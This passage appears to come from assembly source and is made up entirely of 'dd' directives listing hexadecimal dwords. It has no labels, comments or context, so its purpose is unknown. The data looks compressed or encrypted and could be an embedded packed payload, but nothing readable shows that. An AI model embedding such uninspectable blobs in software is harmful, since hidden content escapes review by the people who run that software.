0DEDF2EC5h, 25090D00h, 0CA5810D8h, 6C063F15h, 2E52B07Ch dd 173ABD08h, 9CFB1056h, 34BEC280h, 7603EDC0h, 0BB7D6DC9h dd 0EAE8C079h, 2C4C0371h, 3686949Ch, 30A08B98h, 0F5DCF801h dd 204C4A6h, 0FBD824h, 6BEFE88Ah, 327D5367h, 77861201h dd 0D698297Ch, 4865D7C0h, 387C70DDh, 48276B9Dh, 0C22ADC01h dd 200644Fh, 0FF0698E6h, 0C0C6A305h, 6012039h, 78F8CC09h dd 38A8007Ch, 39FBD203h, 4D80804Ch, 162818Eh, 9600915Bh dd 87F52F9Fh, 3DA68CABh, 55BBC4BAh, 9816E880h, 8628CA97h dd 2CC9C600h, 8F8C9C71h, 49F90081h, 0D5C1CF4Dh, 52F80105h dd 8324EA3Ah, 86223004h, 838AC03Bh, 351A00E8h, 0FDDEEBA4h dd 2059E62h, 95D2AFF8h, 9F00FC0h, 0CEEA005Ch, 8881900Bh dd 49584D71h, 9AE900E6h, 0DF23B084h, 51AA03A0h, 0B9D50C43h dd 67C89FB3h, 4B006AEDh, 0DA72FBFFh, 98A6191h, 0ACFE8E47h dd 0A0E9C287h, 350842F8h, 883A8C00h, 0F569EB2Ah, 6B3F00B1h dd 0E023D8C3h, 3C000A18h, 0F4C25C1Dh, 908917E1h, 6FB00076h dd 84D6C99Fh, 0A2005B39h, 0B1CF0B74h, 0C77C728h, 9BA18FCDh dd 0FF2E8240h, 95033D54h, 9649E478h, 3B6E1F7Ah, 0F1D580C7h dd 0D829CCA3h, 3CFA803Ch, 0BB0B806Ch, 42B0F302h, 78351E7Ch dd 0FABE0008h, 0A0611879h, 0DC8E1503h, 0A033F80Dh, 20D839h dd 0F1A7BEE3h, 2843BB12h, 2F785400h, 294B0387h, 79E176A9h dd 80C40CCBh, 0B2F26B23h, 90046B0h, 7175DAD0h, 7913CEA4h dd 0F42A78A1h, 933F4CF6h, 0DC159500h, 0FA36F93h, 50C7A700h dd 0F463116Ch, 1BEEA8h, 3F0E50Ah, 15BEA9D9h, 92DCB603h dd 0F86DC595h, 75CE29h, 721846F3h, 8D11AB7Fh, 7AB3C805h dd 8400FDFCh, 790295ACh, 605F3E6Bh, 9A6D9386h, 7100E2CEh dd 90A2BD76h, 0E0A5CCh, 4AA0ED7h, 5A51A02Ah, 0AE71C203h dd 0C8E91D7Dh, 2CD387EEh, 0CFC594h, 78B89A88h, 0AF000BEFh dd 7663D1F7h, 298792h, 43ABF1D6h, 39B46E04h, 5F27F800h dd 0CE57B84Fh, 0C11A00ECh, 0B971D7D1h, 6802AADCh, 0B81D5FD3h dd 809C895Bh, 475D48F8h, 94C001F7h, 7233E98Eh, 5652CC0Fh dd 2C3DF201h, 7764DB9Dh, 535A841h, 48E40161h, 9BE0032h dd 81EAB930h, 8E1EB479h, 9DDCFFCBh, 183E77C0h, 8DF82Ch dd 18BB7ACh, 0F38CE36Ah, 41B6E003h, 0F83E8097h, 30479864h dd 90D02BB8h, 2203B150h, 5EA973DEh, 2A698848h, 0F6390086h dd 67339EE5h, 8013028h, 0BF8EB36Fh, 0A9EC643Dh, 0B27E7Bh dd 0FF8D40E0h, 0D68FABEDh, 3D162C0Eh, 0D009B388h, 739400F3h dd 1E55E9C2h, 66B401h, 0AC58FB89h, 7D00CED3h, 6751470Bh dd 3DA3EFCh, 25E04C7Ah, 17E00AF1h, 14005C6Ch, 5A0281AEh dd 0FEB2FA1Eh, 0DCCE0077h, 0D5F9A455h, 62038AE3h, 0D9E486B7h dd 68800015h, 145DAD25h, 651F352Ah, 23801109h, 0CAFF1F4Fh dd 12952401h, 73A50094h, 3C402FBBh, 2A500500h, 69C811Ah dd 0B3313A11h, 0A18068BCh, 0BD5D28E4h, 5C0095E7h, 0AFF77A7Ch dd 17328185h, 14D23158h, 4976CC5Eh, 3400C8F5h, 57E9ED51h dd 7A09B1D0h, 0EE3B18h, 73A60779h, 6438039Dh, 0D232A062h dd 8BC04DB8h, 0ECB55700h, 557DF151h, 0E2A70095h, 5ADE3D52h dd 0FD2859B9h, 32009C7Ch, 0F034C630h, 0BBF541h, 0C209BC22h dd 0C8B3AE1Fh, 3518A600h, 0A87AF75h, 0F47C00EFh, 4E38FE06h dd 24007BDFh, 277EFD39h, 70CD1830h, 78F60307h, 0BA97A1EDh dd 8D388790h, 8ECC4024h, 0F00ACF00h, 26683981h, 48DB15h dd 0B29F277Bh, 18007D9Bh, 6560088Eh, 3D9692h, 73C30CFCh dd 15724833h, 712B2701h, 3A44E6A9h, 3FF2ADE0h, 0E4818892h dd 0CF2062A7h, 0F84C2107h, 7300101Eh, 185EF6A8h, 0EBE04113h dd 0C168ECh, 0B3AC4309h, 0E97CD236h, 6895D0Fh, 0D8B7607Bh dd 0E52DDDh, 85F6B933h, 0E08C459Ch, 610CF800h, 3270361Fh dd 7F7F065h, 9AFEDB21h, 0D0505068h, 373BAB0Dh, 91190030h dd 1A0A9241h, 2BB21D2Fh, 6F4D8080h, 0AA752046h, 2C77741Eh dd 4C780640h, 1F82595h, 6479FB35h, 43287F2Eh, 0BA823F9h dd 0EF02ABB4h, 0D3D25D3Bh, 53C88064h, 3ABF88h, 0D96CC52h dd 839467B9h, 8A2AD93Ch, 0E4AE1B87h, 291E5400h, 3248C53h dd 1DCF76BAh, 5EC86911h, 2A00C396h, 8707BDC9h, 543EF7h dd 8DD9CA98h, 0B45A23A7h, 0F1249090h, 0FE008474h, 3B8CD7E3h dd 82150016h, 0E9DCEBE6h, 171D053Eh, 0E3406498h, 0C0B2D6BFh dd 3A798E1h, 9BEECA36h, 0F380FFF5h, 7C09D348h, 1259ED0h dd 6113320Ah, 0FA54BEF0h, 14CF005Bh, 9AE2F3Fh, 0A003A7Ah dd 0E528C549h, 40716E7h, 0B8AC7988h, 2F1C9039h, 1301043Dh dd 105B2D8Dh, 5DC07E74h, 976F3B4Fh, 39C21989h, 5089CC07h dd 265FF276h, 32EA10C0h, 812351h, 0A14E588Dh, 629C342Ah dd 0F970E930h, 10144Ch, 68FB1F7Bh, 5D24401Eh, 0A62F711Ch dd 1C7DA7C1h, 96C02E65h, 0A8EF09CDh, 3880756Dh, 0A69A393h dd 0F5EAAF00h, 0EBA9F32Bh, 82B8004Bh, 0BC277FD4h, 4A7F81F1h dd 3463F03h, 0F0EEA63Ch, 1C051BFh, 9FBBD8DDh, 0E41399ABh dd 0ACE49A61h, 57E06E00h, 0C02EFEDh, 7D940CE1h, 0E911D3FEh dd 9797C00h, 7F4D5195h, 0FDE20086h, 7326AF58h, 34A03834h dd 0D2003BBDh, 0C45F6D66h, 1DFFAF8Fh, 1FEC768Bh, 1129EA6h dd 6BF4C083h, 57BDE443h, 0A29C1700h, 1B0365C1h, 442F0080h dd 5C5696D5h, 7D0085F3h, 6F83D706h, 971A7Bh, 0FEE864A8h dd 0F5E4B62Fh, 0E96B9A00h, 28D77C03h, 59FD00DAh, 0C5CF44B1h dd 0AA0F823Dh, 6014D53Fh, 47101D21h, 0C24D025Bh, 0A185F070h dd 55ABFE0h, 46272801h, 0AD1CCD37h, 403470h, 0B264BCD7h dd 0CC44C21h, 44E2940Fh, 0C34B2E19h, 0F81D27B1h, 9A46D2h dd 0BF6482CFh, 556F98B5h, 8C0A4F00h, 0DBC4B407h, 606A01C2h dd 0FA2C5727h, 2271A7h, 43E74190h, 9FA65200h, 83F4D907h dd 803A077Bh, 5F7E4BF6h, 0FA2B81E0h, 3700F095h, 0FC3521E7h dd 0CF29AFh, 54AD06ABh, 52F3AE18h, 0EA974600h, 0C558C4Dh dd 0C83E0208h, 1BCBF1F9h, 0EDA828C3h, 68014D36h, 5FA4B027h dd 90FB4A77h, 9F7B827Ch, 6011958h, 0E620FF2Eh, 4D9EC53h dd 39ED20h, 8EE03663h, 5198836Bh, 0FCF1A203h, 0C8B83F2Eh dd 50A721E9h, 3FEDEC71h, 5480A07Eh, 7D4CC0Eh, 0E7000248h dd 0BB991B37h, 3BB8C6h, 901772C2h, 0FDDEC4D8h, 11711F31h dd 0ECE8E65Dh, 0ACED00F5h dd 0E4C01D4Dh, 7100A3A5h, 0DD46F866h, 0D6A4972Bh, 4D230370h dd 0A3C01AE7h, 5C37FC49h, 0EE7288F8h, 15148041h, 3ACF4DB0h dd 9331A02Eh, 8AE7EDDAh, 14919A59h, 983AA811h, 0BE4F5B0Fh dd 3830E106h, 74A057F6h, 94009FB7h, 0E73827F1h, 16ADC7h dd 83ABD7E6h, 0F65D1730h, 77B22900h, 0A21E4B79h, 7E6718CBh dd 9DEB39E6h, 60FC1D14h, 80783F58h, 7302197h, 0E888101Ah dd 3922281Fh, 0E9460154h, 0BDE46E5Bh, 6551DCBAh, 0A11ED03h dd 0E03A9D94h, 1FBCC9Bh, 55D01D78h, 6F66F4FAh, 7312E0h dd 9ADE3B43h, 1F0AAB80h, 0D00607Ch, 0F2D3C5B4h, 2B812C9h dd 8A3172F3h, 0C980C3F9h, 0D3F8CACh, 445BAF00h, 1E3AABF8h dd 5F9054h, 0E74F8458h, 25231629h, 0C35CB300h, 0FA610E4Ah dd 316E195Ah, 20C21E4Dh, 750985C5h, 0D74A59D5h, 38951500h dd 0CDF42051h, 8B72FB0Fh, 0B39240BEh, 7208AC3Bh, 4B32002Fh dd 0BAD25F05h, 0E101FEDFh, 0CF2D4B9h, 9C50ECFBh, 2BBB91h dd 16C63D66h, 1FA86C5Bh, 0B7EE8100h, 82F11DB2h, 70D803C9h dd 6C6D9E43h, 752A3800h, 573C45D0h, 167C21h, 0F017BD82h dd 0DC3A785Fh, 69024C1Ch, 0A399E987h, 73C5A225h, 2E741407h dd 0A0042179h, 0D050E0D5h, 1B0E7E4h, 24DB17E1h, 0C4CA2F0Ch dd 9400AC8Bh, 0D0DFEE82h, 76D5F16Fh, 96000EDh, 0EF0499C9h dd 0C475221Eh, 8979F904h, 4894B046h, 40CF2AC2h, 4B540Ch dd 82E0B306h, 301AEB9Dh, 8633AD3Fh, 95B58E09h, 0D4840091h dd 0AB869CE5h, 3C2469A0h, 0F9008CC9h, 0AA13C4FFh, 3DE98EEh dd 310F7787h, 0C8C8F156h, 0E47F6F20h, 0E5A92700h, 26A3097Ah dd 51DC00B8h, 22EFBAC9h, 0FA00E03Bh, 0B3E65577h, 0F6BD418h dd 0BB3CC6EAh, 7CD15107h, 0F100C908h, 6B74E83Dh, 368A4E0h dd 0AF3971F8h, 5E048A3h, 0D2002F5Ch, 0D67703FBh, 0F2727B44h dd 0A8BA06C8h, 48EE2092h, 4FA7DC07h, 59CC4E3Eh, 250E003Dh dd 3507A647h, 5800FA93h, 5AA4F2FDh, 0C1D4EC0Fh, 987D7F29h dd 0D8F0F3F1h, 0CA00C394h, 4AB844A8h, 2FA5D15h, 0C76692CDh dd 0CC40FD59h, 0D030875Ch, 889741E9h, 8D40021h, 1D761514h dd 6200E090h, 0CCBDCEBBh, 60C5E683h, 89A299C6h, 0F81531A1h dd 0B98EFB1h, 670E78h, 467B2BBCh, 483D260Bh, 6C0039A6h dd 0CD6A74A9h, 0BE3DDE51h, 4A1687DCh, 8B60FDC6h, 0F3F99BBDh dd 98AE8C43h, 600CDE8Eh, 93B35819h, 0A51E318Bh, 69DD866Ah dd 5CEB6301h, 9448ECC8h, 103831D1h, 8093A931h, 0E329FD19h dd 7CE842Dh, 803032FFh, 9D535033h, 0A0C2BF9h, 393F10EAh dd 0EF6F0088h, 0DC7FF080h, 0BB0CE6AAh, 21EB1101h, 874B001Dh dd 0A3D1F2C2h, 16005ABFh, 0E4346E52h, 0D095E0h, 70E7A32h dd 2C5D9F4Bh, 8B863Ch, 62DAE613h, 0F47D8E77h, 0BBCE1C21h dd 0C406C06Eh, 0FCDD8D12h, 7C03B4F2h, 886227FDh, 0B90A91D8h dd 1D0C7DC0h, 17EC1D0h, 95EC19B1h, 0A55730CCh, 5AC0D100h dd 0C4C1D74Ah, 42B7031Ch, 9F400A0Fh, 0C50699C8h, 0FDE309DFh dd 0E4EB8EC0h, 0E87B8FDDh, 0F8E01924h, 0A4C00F26h, 67E08CBCh dd 7DEEFA04h, 31CFD50Fh, 853C40D2h, 302DDDE3h, 9B29A6B7h dd 7380FBB9h, 86D888C9h, 88A5F688h, 3C88B8CFh, 0EE33415Dh dd 889B6710h, 79C20383h, 0E32398Ah, 0EC111414h, 3C17289Eh dd 42C68822h, 7CC8110Ch, 31288B28h, 2829CC70h, 5B571088h dd 413F81BFh, 883E8328h, 8C87B479h, 0F3296FE1h, 24ADC9C7h dd 3F2F7DF0h, 0CCA003Dh, 0F596B1FAh, 0E8000B30h, 29435AF9h dd 28F7B818h, 0A4DD3Eh, 212ABAC3h, 8C0B9C80h, 3082054Ch dd 0F2EE0691h, 0A4D7000Dh, 0B4F12DC1h, 0CC00C7E4h, 0B357BD2Fh dd 0B85F2Eh, 9D8CE514h, 1F84CA7Fh, 6C9CDE0Eh, 0CDD4406Ah dd 0E125BA1h, 4FD715E2h, 0C702007Dh, 68B83BEDh, 0F0DA7800h dd 8730E629h, 0EBE081h, 2FBCB44h, 2BDCF37Eh, 46237D03h dd 0D0BCE539h, 1D6A1404h, 31FB1Dh, 197D4083h, 4202A86Dh dd 3E325C81h, 0D32440DEh, 38110055h, 0D468FEAh, 0C500A424h dd 0EDC6C321h, 0B8A89F63h, 0CB42039Ah, 7F1CBC99h, 8271A1A8h dd 1D377700h, 498A911Bh, 4C5548A6h, 90027200h, 43274AC6h dd 702A410Fh, 0D481C08Fh, 4BCB84h, 19C19CCh, 2608BED1h dd 4800C77Ah, 95A84C11h, 5A6210h, 54FAED46h, 0C20C48Ah dd 80F5CF3Fh, 8EC8E983h, 0FAA16ADAh, 783F3D75h, 0F3CB5E87h dd 0FEDC4056h, 0BE7FC7A7h, 0F1F058h, 2ACA0CABh, 39D526h dd 77B587A3h, 53A5B91Bh, 474B7B1Fh, 0E0F48ACEh, 0B620B4D2h dd 1A737Fh, 16507037h, 0CF77FD86h, 0AC1DD100h, 0EB568E13h dd 0DFFE36h, 47580A53h, 0F17220ECh, 4ED7C900h, 0DC33465Fh dd 94280307h, 0E47FFA70h, 9AE26998h, 0F7E1E81Fh, 59156043h dd 1BC0B8B7h, 0A8EC88h, 69683C9Ch, 0A1917FB0h, 34C8CD00h dd 81D927F7h, 6BF10048h, 1E301709h, 0F9058C39h, 0C6046583h dd 0A09FD80Fh, 3CAC1881h, 0B438001Dh, 6F6CF0D9h, 5DB01B2Ah dd 0F85D2700h, 24C9937Dh, 63C10791h, 0F01930C6h, 7E350C1Ah dd 0A13AFE0Fh, 0EA784050h, 7144FEFh, 56236B33h, 45380A0h dd 83003CDEh, 0A241B582h, 0C7D975h, 692B60C4h, 7D68EAAEh dd 0B500ED71h, 9E6F64F8h, 0E7C339h, 63F3431Eh, 8D96A2D3h dd 16135900h, 9F9022B2h, 0D5FB013Dh, 473AD0F1h, 45A4F889h dd 2B1E0103h, 0A3E0923Bh, 12C08FE3h, 50F846h, 7E96C8Eh dd 0F6AB6362h, 0E842CF2Ch, 4E83AC00h, 4B8CC3h, 0F80B5B0Fh dd 0EF561AFEh, 0E31EE09Fh, 2EA6015Ch, 38669724h, 44C7F06Fh dd 5972901Ch, 9106BB00h, 4CFA41h, 0C008FF73h, 0F9ED774Eh dd 0B5074B00h, 2506D523h, 340A00F2h, 9247B461h, 0CE3D4D4Eh dd 598B87EAh, 0DCB01889h, 1899F8F4h, 822A2743h, 0E8028F41h dd 69AE5D06h, 570880B2h, 0EA0F3A8h, 280C4BD4h, 0DA8E0072h dd 0D9E8D294h, 95C348h, 8D58DC2Ch, 0C456B4h, 4D42DF7h dd 0BAE9141Bh, 8054C7Dh, 0ADA6DBC6h, 0ACE6E400h, 0F5351Ah dd 174CF009h, 97B6B458h, 1C004E71h, 5B2F7A2Ah, 0F8D85DA7h dd 0B3C714D3h, 0EC1DEC7Bh, 0D2FB80E6h, 3022ACC4h, 20004C76h dd 63E748F2h, 71FE78h, 0A8EE943Ah, 9BDA887Ah, 0D9C95B00h dd 0D5248B53h, 67EB1F2Bh, 10C265Dh, 7B0EEF3Dh, 0D30DEC50h dd 1BB8291Fh, 2F6B007Dh, 0F44D1307h, 0C47F6FBh, 0CC901778h dd 0C7163072h, 7A0E03C1h, 97B74080h, 412B08h, 9FF28BF4h dd 50662E69h, 3A449203h, 0D03853CCh, 5021B86Dh, 8FCF55h dd 0AA8BE042h, 15B3FCEBh, 1310EC00h, 463215Fh, 18D43D67h dd 6D76AD80h, 16D67932h, 34131700h, 5D23AB6Bh, 0A63902E0h dd 2645080Ah, 2440882h, 0B5B64BC0h, 88BAB213h, 0E029C80Fh dd 0C4810663h, 579C0083h, 0E7A16EACh, 0AD1D60F9h, 0A303F2ABh dd 0B80DC29Dh, 1E1C56BBh, 0C45DFAEEh, 0C07C9990h, 3549D646h dd 3316E401h, 54C312D0h, 24E22F4h, 696CC5BFh, 1F40DE37h dd 9400C83Ah, 0E3091027h, 1D79407Ch, 80ADD21Bh, 0BD73BCDDh dd 0E8008B0Eh, 4FBBDFA0h, 3209B7h, 0C279F2CFh, 0BE9ADAFEh dd 6A86FC00h, 0E5CD2C25h, 741200A1h, 1DD08D5Eh, 0CBF272C2h dd 4B42CA00h, 46ECE570h, 0AF400001h, 0E083A958h, 0B400C22Eh dd 0FF501BBEh, 0F65F3Fh, 0E4CCB89Fh, 0BF3DECB9h, 802C2F3Ah dd 0F08A40EEh, 61CFF8h, 8C77908Dh, 62F5DA86h, 58475F1Dh dd 5E4F4C0h, 6803CBh dd 6D256E34h, 0E19A38ABh, 8026223Dh, 0A156A94Bh, 72F9151Eh dd 0C96E038Eh, 27200AAAh, 4DF43180h, 97640C07h, 9010A245h dd 605BB649h, 3BBF085h, 0AF007CE1h, 412289C8h, 10CE8Ch dd 0BC38AAA6h, 0A1DF2B40h, 77EF7C01h, 29E22013h, 0FAB41081h dd 20217DD0h, 0D90039A0h, 0FF5A1E0Fh, 8B8AAh, 0AD372266h dd 4CB7326Ch, 750016FEh, 18F5A982h, 0F47B1AE4h, 0FAD1000Eh dd 2F1B98C9h, 0CB0052B3h, 0EBC2D242h, 197BC4Fh, 19EC9F5Ah dd 60538C24h, 0DBEE4725h, 990D0E00h, 96AE1617h, 0F27A00ACh dd 123CECA0h, 0B01737BFh, 801C0F4Dh, 3B3E39h, 17C8E8B2h dd 0F07CB624h, 0A1B40094h, 0A8638AF2h, 18C1A68Bh, 0E64AECC0h dd 0DA24D0h, 17AB2F74h, 0D73FFE18h, 4057ED00h, 0B0E82533h dd 86DD035Ch, 54CA6EE7h, 5D852ED8h, 7E480860h, 3CDA8h dd 1F9B1AF4h, 4DFACBE0h, 3FF3DC07h, 0E3A012B8h, 92EC51h dd 702DCF42h, 5D64E236h, 90D0F203h, 0DF9ECCA7h, 377FF5D0h dd 7CA90F56h, 1C8FB5h, 441614ECh, 0B900FEDFh, 0DED6E6CFh dd 7A65661h, 3FFCB712h, 62D41046h, 0BA053EF5h, 1C451D75h dd 6C77B180h, 0F9F1013Ch, 43A31668h, 0CB76C00Bh, 9E42C900h dd 0C6F4A238h, 0F9AE007Bh, 0E1448ABh, 94B0554Ah, 7074111Fh dd 0CDE10A80h, 0B772F3h, 445B130h, 0A30594BEh, 0A6BCD801h dd 0A02C47AEh, 0E62BE540h, 1ACC281Eh, 0D4B238CFh, 0C6050370h dd 4A89464Dh, 80076BD0h, 8E843200h, 297BE8D8h, 9CEA019Dh dd 0D4111FA3h, 69084057h, 3A001E47h, 983907E0h, 4409B1h dd 0F6895E67h, 8BC120FEh, 7A016E00h, 586CA846h, 74B400D5h dd 29627CAAh, 0A3797D02h, 68F79D00h, 5F6314DDh, 0B2D8005Eh dd 0CDCBBF5h, 3A00A1D4h, 59B80D6Eh, 35DC1A7h, 8F10F024h dd 0BFC871E4h, 90009682h, 9DC9F22Dh, 9233F4h, 42AD0281h dd 437945F9h, 0DEFE4F0Eh, 0B6DE77Dh, 0A7EC9850h, 0A9A3007Ah dd 0C229928Dh, 5100EE40h, 5F9B20F5h, 1F7CAB38h, 83454864h dd 885B05C1h, 788AF088h, 0EC1AA300h, 0CB362749h, 52143026h dd 0D7F09ED8h, 81E08A2Eh, 689BBC00h, 484D2BF9h, 0C4494C6Bh dd 6199DE00h, 902A5BD9h, 0DD27681Eh, 0CE380039h, 0DAC833BCh dd 5A161DF3h, 0E4DC4078h, 0B0F16514h, 5E624900h, 679E8061h dd 7F5300BDh, 9B521D50h, 9C00F4ECh, 0A3EEE133h, 0B02D31h dd 0FC51ACFAh, 9BA94532h, 747458h, 0DD17427Ch, 0A38B35h dd 0E0B3EB8h, 1AD12AF6h, 400D6EEh, 4C8D16F4h, 7E45E1Dh dd 0EA0B87B2h, 0F6F7700Ah, 92011E7Dh, 4ACE15E5h, 0EDEC952Bh dd 0CCE950F1h, 8D761807h, 0B3C9184Dh, 8E5FD600h, 4E741F79h dd 686848DCh, 9CA19B00h, 2D1E191Dh, 0DC2C9328h, 4267C912h dd 8EC5400h, 0F6743EF3h, 0B08E7596h, 0A97D006Ch, 0E3F8CB87h dd 161DC3E4h, 0EC3695Bh, 0A01E2A19h, 20C5E02h, 0DBDF82AAh dd 4440EE16h, 0CF0F8569h, 8F42D801h, 0ECCC16Ch, 0DC47417Ch dd 0E4E1A3A0h, 83F93BECh, 886D1180h, 0D66F231Fh, 3A16A003h dd 0B0B4D3D1h, 374689h, 1C03013Dh, 579D098Eh, 0B6D9D600h dd 0F743B148h, 8FF200F4h, 672FACF3h, 301ED8E1h, 0AEFC75h dd 80AE117Dh, 11A4E419h, 0BB3D0083h, 26D6503Eh, 3C00499Bh dd 0EF578108h, 124ACAh, 939888E0h, 41B7ED7Ch, 0D7D2BF00h dd 53789991h, 621D396Fh, 19640580h, 26D98758h, 9FD55100h dd 0F3F6A565h, 37FE0054h, 67E514AEh, 1138D3D9h, 0AFDE80ECh dd 25DC2712h, 4ABC015Dh, 0F8E28C30h, 0E4B8404Dh, 6200801Ch dd 1181ABFCh, 1277A86Ah, 7EC40BAh, 908FC7B0h, 5166E054h dd 0D363810Bh, 24AC0025h, 0A0CB31D0h, 0CAECECh, 0BD3E1E49h dd 5841C49Dh, 0F9A9E900h, 0F34CB1Dh, 0D6B11D62h, 9D89801Ch dd 0AF4D7BECh, 4E23CD00h, 0E18FCA2Eh, 0A800A46h, 38D08EEAh dd 7580A53Ah, 43B70D30h, 9500A6C6h, 88E3323Bh, 0A906BDh dd 9A98F902h, 0EB97C892h, 0ED1FF51Dh, 11CDC7CCh, 59170149h dd 0E2E59A79h, 0C9D040B9h, 0F08CD5F9h, 688B487Eh, 68649500h dd 9FEDE349h, 0C7868E05h, 1C94412Ah, 5FF09F80h, 0A9B00E64h dd 5680D17Ah, 0F9A85587h, 0EC0E3Fh, 0E5641314h, 38A4393Eh dd 0AB072BB6h, 0F08909A5h, 73CD8D0Dh, 0F46A4800h, 6CAACC5h dd 0FFBD00D5h, 0D039CB96h, 4D00E622h, 0ACBB3E86h, 300E60DAh dd 0BE487A8Eh, 3600F40Fh, 0CF277C97h, 4A427Bh, 39715753h dd 762F64D3h, 0E9BE8A00h, 0BCC13594h, 6C0B00FFh, 0C3599252h dd 0C400D4DEh, 0B90F294Fh, 0CBC15Ch, 72426BDDh, 0FBCA6306h dd 9445B800h, 0C861074Ah, 0E7AA00E5h, 646E7E47h, 4E162855h dd 0EF0568ADh, 800E477h, 373C63AAh, 13EE0798h, 0C0B7AFD1h dd 17121FE5h, 0EE8CF00h, 0C304EA90h, 7210024h, 0A7614ABh dd 800047E0h, 9F209C89h, 3EB5115h, 16E2A866h, 5BE8391Eh dd 0BB002153h, 4AB53593h, 13D27049h, 26029FEh, 0C2B379B1h dd 8908D3C0h, 7A100B00h, 0F38785DFh, 5D7315CAh, 8110B868h dd 93F78F07h, 80C0EF0Fh, 33748832h, 62170014h, 6E1E4373h dd 0F800651Dh, 5D0EBEEDh, 0C2F9D9h, 75A54B05h, 2801D491h dd 0FDF59803h, 0C8721A32h, 3ED81Dh, 53C8DEB9h, 0E2CBDA84h dd 94173700h, 6D417908h, 990A5CC0h, 54878A07h, 64FD6045h dd 0CD03E5A7h, 34C35CD5h, 9A100063h, 0B9729574h, 0BA01DB1Ah dd 839993CCh, 7AE5F343h, 39E46BF5h, 187F14h, 96736EAAh dd 7949FF2Dh, 7790AF0Fh, 116A80DFh, 0B94B41h, 4035271Bh dd 6778842Dh, 0A688F907h, 9EB004BAh, 3FD60BFh, 0F809E2C6h dd 6AA3DC22h, 0CD5C8780h, 31007CF0h, 917A1C13h, 3CD6A294h dd 14804B4Dh, 0F5368927h, 680F6562h, 40927A6Bh, 7BF12D0Ah dd 0F0820039h, 5FEA9C23h, 0FA00989Fh, 0FE3F09ADh, 9843F3B1h dd 78AE000Eh, 33AF4845h, 0B7E06B4Eh, 0A2755B00h, 97D5966Dh dd 0F1F71C26h, 54C001ACh, 818025ABh, 433E968h, 4BF8B5DBh dd 871A396Dh, 0C04E961Fh, 0A92D0B79h, 4100507Bh, 0CF10B76Bh dd 18B8EB0h, 24C61BD8h, 85C3EE0Bh, 0ADFCDF70h, 806F8100h dd 0CD273Bh, 63FA9B1h, 3E93730Eh, 0A5978200h, 0B8AE558Bh dd 91E60061h, 4DE28692h, 1E00BF6Dh, 2CA4A16Ch, 0F2FF81h dd 0B70942BDh, 264DF0E7h, 294B9100h, 0CD6841E8h, 3E511D6Ah dd 3FAF007Eh, 1C27608Ah, 49009D75h, 432295BFh, 20DA67Dh dd 6770EDC3h, 63C11F05h, 0D3B080B7h, 538D5DDAh, 9DE7E4Dh dd 8A5BCCD0h, 0E6108E00h, 0E20316CAh, 452CBB79h, 0C486809Eh dd 52A4001Fh, 14389572h, 9407C5C3h, 22BE7F8h, 35D29B20h dd 0C206181Bh, 5E3351ECh, 8CA93F0Bh, 0E6CE0362h, 89F1D84Eh dd 3C540057h, 4F7AF672h, 6E01FF08h, 0E77745E5h, 36C00D35h dd 330E1EFCh, 9C2D80A7h, 2BAA4BF5h, 0F4710B28h, 0D6602C00h dd 1EAE6E03h, 88BB4987h, 53B6940Bh, 5D8C9A80h, 570F0423h dd 0E31FA048h, 0E3E77F3Fh, 0A80F0060h, 40B5922Eh, 5E3A5CF2h dd 9E68BF3Ah, 0E987A995h, 282077FCh, 58CFC1h, 0C63B35B7h dd 0CCAEAA4Dh, 5242151Bh, 2F5FD910h, 78609DF9h, 6046036Bh dd 0E5BE8303h, 0DCC6EEF8h, 0A2DAAE00h, 97EDC0D5h, 6BD21795h dd 0BE00EF01h, 0CBCCB43Ch, 587F03E0h, 990FC17Ah, 0CAC370D7h dd 401839Bh, 8E1A7805h, 0AA97610Bh, 5B8603CBh, 0F5D8F792h dd 7600B090h, 7DAA6B99h, 5C64Bh, 782CFAEAh, 96AD8E54h dd 0A2D3E600h, 277F7237h dd 71380726h, 0E0AC4A29h, 81DC121Dh, 0B245A900h, 0D7C40F94h dd 0BBAF04C8h, 0C0198AA0h, 917922BBh, 6F126E02h, 8034FE7Ch dd 0F7A6A508h, 0D6C70098h, 944DC843h, 1001167h, 3C89AE2Fh dd 9F9E4AD5h, 0E60E7F50h, 405DB460h, 0B8D9CAF6h, 744F00DEh dd 84E41E48h, 2B003D91h, 8B95C418h, 0DC7F60h, 0A1A3C6F2h dd 0E6A4BF16h, 0B21FC200h, 97ECC00Eh, 189F003Ch, 0D5D8A970h dd 0EE381A89h, 0B34A9F02h, 83DCC700h, 1DEB1B8h, 98CB3E77h dd 40F70464h, 5ACD5EBEh, 0A88DACA0h, 49B75218h, 8D6F011h dd 5BA396F1h, 0F0FC6A1Fh, 1F8F7D00h, 6BB7A587h, 26E0712h dd 209CC67Eh, 0E552019Ah, 7BEDCE00h, 0CF4508C2h, 0F4720232h dd 4642719Dh, 0DC8F8E3h, 0A81E134Dh, 3C452F0Ch, 80EB14F4h dd 163DCDC6h, 4E00C572h, 0CA836780h, 0E010032Ah, 98F6FAA2h dd 0BE080055h, 2C8B6815h, 51FE46A8h, 8AEE1C00h, 0A69C3562h dd 5EC0A0E4h, 70DF0055h, 31492545h, 8100D5D1h, 0D79E5404h dd 180E9194h, 80C54268h, 77FA82BDh, 3952571Dh, 81CF2800h dd 16F245Fh, 921DA217h, 40A687D0h, 0CD83ACEAh, 0F470B63Ch dd 0C6EA5B07h, 0CAFE4626h, 0FF00EC9Ah, 0CEB7DA1Bh, 4A5F0010h dd 7C91F681h, 0E43CFC7Dh, 81593A54h, 8A998584h, 79E87B98h dd 4B2300E3h, 7D37B857h, 5624C270h, 0D2075839h, 6A005E1Bh dd 0CADE86h, 0BA5C09D0h, 80E0BEBCh, 5D3FD61Dh, 3BC042DFh dd 0C5D54911h, 55C71497h, 8D0308EFh, 1F804831h, 2140C689h dd 190BFC58h, 98A6B900h, 73C3FB70h, 0C40D0051h, 3B0AF4BAh dd 4A03D6FEh, 17460E42h, 0F7D2E0F6h, 4D900054h, 484E6EF3h dd 2B1F6992h, 33AAA62h, 0A1B68F42h, 0FA8A88B0h, 0B79C0002h dd 933EDF79h, 0A2003D54h, 0AA6E4B18h, 48239B62h, 253FC289h dd 290010CCh, 86CC606Ah, 0A1008F30h, 115B63A6h, 73D97150h dd 2E670B8Ch, 80FFAB7Bh, 55DB2999h, 0EA2B3A5Fh, 0FB7A4280h dd 0CBDC7CE8h, 9FE43300h, 5B69DA04h, 6CEB00C4h, 4A7A44FCh dd 3D0747D2h, 632083D6h, 0B0CBC6E0h, 118E00CCh, 0AFD00E34h dd 0A0019DC7h, 95A5DE6Dh, 0A080E6B8h, 0D5ACAA3Ch, 29C032D2h dd 0AEE389B4h, 16D10010h, 33836547h, 4E006D9Ch, 6CCAA854h dd 2456928Eh, 0D01E8Ch, 